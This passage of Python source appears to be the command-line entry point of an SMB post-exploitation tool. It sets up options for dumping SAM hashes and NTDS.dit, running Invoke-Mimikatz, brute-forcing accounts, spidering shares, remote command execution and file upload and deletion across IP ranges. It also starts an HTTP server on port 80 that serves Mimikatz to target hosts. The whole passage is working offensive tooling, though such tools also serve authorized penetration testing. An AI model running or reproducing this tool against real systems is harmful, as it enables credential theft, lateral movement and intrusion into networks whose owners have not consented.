    parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default=None, help="Password")
    parser.add_argument("-H", metavar="HASH", dest='hash', default=None, help='NTLM hash')
    parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='Namespace name (default //./root/cimv2)')
    parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default: WORKGROUP)")
    parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
    parser.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
    parser.add_argument("-v", action='store_true', dest='verbose', help="Enable verbose output")
    parser.add_argument("target", nargs=1, type=str, help="The target range, CIDR identifier or file containing targets")

    rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
    rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
    rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz on target systems')
    rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")

    egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
    egroup.add_argument("--shares", action="store_true", dest="list_shares", help="List shares")
    egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
    egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users')
    egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
    egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')

    dgroup = parser.add_argument_group("Account Bruteforcing", "Options for bruteforcing SMB accounts")
    dgroup.add_argument("--bruteforce", nargs=2, metavar=('USER_FILE', 'PASS_FILE'), help="Your wordlists containing Usernames and Passwords")
    dgroup.add_argument("--exhaust", action='store_true', help="Don't stop on first valid account found")

    sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
    sgroup.add_argument("--spider", metavar='FOLDER', type=str, default='', help='Folder to spider (defaults to share root dir)')
    sgroup.add_argument("--pattern", type=str, default= '', help='Pattern to search for in filenames and folders')
    sgroup.add_argument("--patternfile", type=argparse.FileType('r'), help='File containing patterns to search for')
    sgroup.add_argument("--depth", type=int, default=1, help='Spider recursion depth (default: 1)')

    cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
    cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="smbexec", help="Method to execute the command (default: smbexec)")
    cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
    cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')

    bgroup = parser.add_argument_group("Filesystem interaction", "Options for interacting with filesystems")
    bgroup.add_argument("--list", metavar='PATH', help='List contents of a directory')
    bgroup.add_argument("--download", metavar="PATH", help="Download a file from the remote systems")
    bgroup.add_argument("--upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the remote systems")
    bgroup.add_argument("--delete", metavar="PATH", help="Delete a remote file")

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    if args.verbose:
        print_status("Verbose output enabled")
        logging.basicConfig(format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
        log = logging.getLogger()
        log.setLevel(logging.INFO)

    if os.path.exists(args.target[0]):
        hosts = []
        with open(args.target[0], 'r') as target_file:
            for target in target_file:
                hosts.append(IPAddress(target))

    elif '-' in args.target[0]:
        ip_range = args.target[0].split('-')
        try:
            hosts = IPRange(ip_range[0], ip_range[1])
        except AddrFormatError:
            start_ip = IPAddress(ip_range[0])

            start_ip_words = list(start_ip.words)
            start_ip_words[-1] = ip_range[1]
            start_ip_words = [str(v) for v in start_ip_words]

            end_ip = IPAddress('.'.join(start_ip_words))

            hosts = IPRange(start_ip, end_ip)

    else:
        hosts = IPNetwork(args.target[0])

    args.list = normalize_path(args.list)
    args.download = normalize_path(args.download)
    args.delete   = normalize_path(args.delete)
    
    if args.upload: args.upload[1] = normalize_path(args.upload[1])

    if args.spider:
        patterns = []
        if not args.pattern and not args.patternfile:
            print_error("Please specify a '--pattern' or a '--patternfile'")
            sys.exit(1)

        if args.patternfile is not None:
            for line in args.patternfile.readlines():
                line = line.rstrip()
                patterns.append(line)

        patterns.append(args.pattern)

        args.pattern = patterns

    if args.mimikatz or args.ntds == 'ninja':
        print_status("Press CTRL-C at any time to exit")
        print_status('Note: This might take some time on large networks! Go grab a redbull!')
        print "\n"
        server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer)
        t = Thread(name='HTTPServer', target=server.serve_forever)
        t.setDaemon(True)
        t.start()

    concurrency(hosts)

    if args.mimikatz or args.ntds == 'ninja':
        try:
            while True:
                sleep(1)
        except KeyboardInterrupt:
            sys.exit()
